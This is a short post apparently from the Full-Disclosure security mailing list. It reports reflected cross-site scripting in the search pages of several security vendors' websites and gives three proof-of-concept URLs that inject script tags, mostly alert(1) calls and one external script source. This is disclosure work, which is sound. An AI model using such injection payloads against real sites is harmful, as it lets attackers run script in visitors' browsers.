[Full-disclosure] security vendor xss

["Thomas Pollet" <thomas.pollet@xxxxxxxxx>]

Hello,

several security vendors still don't know how to filter html in their custom
search engines.

http://cybertrust.com/cgi-bin/htsearch?words=%3C%2Ftitle%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
http://www.pandasoftware.com/com/virus_info/encyclopedia/results.aspx?termino=<script%20src=
google.com>&tipoBusqueda=vi
http://fr.trendmicro-europe.com/search/?entity=enterprise&master=true&searchword=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Greets,
Thomas

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/